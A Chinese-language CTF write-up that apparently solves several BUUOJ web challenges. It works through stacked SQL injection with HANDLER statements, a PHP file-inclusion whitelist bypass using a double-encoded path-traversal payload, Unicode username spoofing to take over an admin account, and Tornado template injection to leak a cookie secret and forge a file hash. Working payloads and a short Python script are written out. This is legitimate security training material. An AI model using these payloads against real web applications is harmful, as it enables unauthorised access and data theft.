[强网杯 2019]随便注
看题目的样子应该是sq注入
先添加单引号
1'
,发现有报错;
用order by 语句查询到有两列 1' order by 2 #
然后准备用union select 联合查询数据库时,页面回显了过滤提示:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
根据提示,上面的提到的关键字都被过滤了。
就要用另一种注入方法——堆叠注入。
堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
构造语句,查询数据库1';show databases;#
再查表:1;show tables ; #
查询第一个表中的内容:1';show columns from '1919810931114514';#
但是什么也没有
再看words表中的内容1';show columns from words #
1';handler
1919810931114514open;handler
1919810931114514read first;#
WarmUp
熟悉的滑稽脸…
首先查看源码:
发现有一个提示,souse.php. 进去
进去后得到一段代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这道题之前做过
看到有个hint.php 进去后
这是一个文件包含的漏洞
构造:/source.php?file=hint.php%253F/../../../../ffffllllaaaagggg
EasySQL
输入1,回显了一个
想着是不是单引号注入之类的,试了试发现没有反应。
想到前面一道题用了堆叠注入,于是这里也尝试了一下
1;show databases;
然后
1;show tables;
看到有Flag,但是不知道怎么查看,试了几种查询语句返回的都是nonono
然后搜了其他大神的方法。
看到有个用 *,1
试了试,竟然可以,但是我不懂为什么。。。。
求解
[HCTF 2018]admin
点进hctf 但是无法访问
查看源码发现提示需要管理员权限
第一个想到的获取管理员权限的方法就是,先注册一个普通用户的账号—>在修改资料时将管理员的session改到普通用户的session上
也就是伪造session
但是当我用burpsuite抓包后看到这个session,我有一丝丝的迷茫
然后去查看了大神的wp后,了解到这是需要解密的
同理,想要伪造session也得利用脚本进行加密后在放上去
这时 ,看到大神提供了另一个很妙的方法:Unicode欺骗
具体就是利用函数strlow()函数在登陆注册修改密码时都用到了的漏洞
def strlower(username):
username = nodeprep.prepare(username)
return username
所以就是用注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录
因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名会变成ADMIN
此时再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin
这样就可以改掉admin的密码
然后用admin登陆 拿到flag
easy_tornado
打卡看到3个链接,每个点进去看了看
这里告诉我们flag in//fllllllllllllag
但是我们直接访问/fllllllllllllag 是不行的
然后看了另外两个链接的内容
而且可以注意到链接每次打开都不是直接访问文件 flag.txt 而是后面还有一个参数filehash
http://babf3103-1032-4a39-9e47-399228c9769a.node3.buuoj.cn/file?filename=/flag.txt&filehash=04cfaf348554214a8b4f2cb927eef82a
所以要访问到/fllllllllllllag 必须知道它的filehash的值
结合hint.txt 给出的提示 filehash 的值应该是
filehash=md5(cookie_secret+md5(filename))
filename=/fllllllllllllag,还需要知道cookie_secret
另外还有一个 error界面, /error?msg=Error,可能存在服务端模板攻击
参考链接: link.
构造payload获取cookie_secret
/error?msg={{handler.settings}}
找了个脚本算出filehash
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s.encode("utf-8"))
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'a76db239-678c-4f3b-94d1-ea2e597ff5cc'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
得到:
eb2987f1a72c919efcb33e070f9a71e2
然后构造playload:
/file?filename=/fllllllllllllag&filehash=eb2987f1a72c919efcb33e070f9a71e2
拿到 flag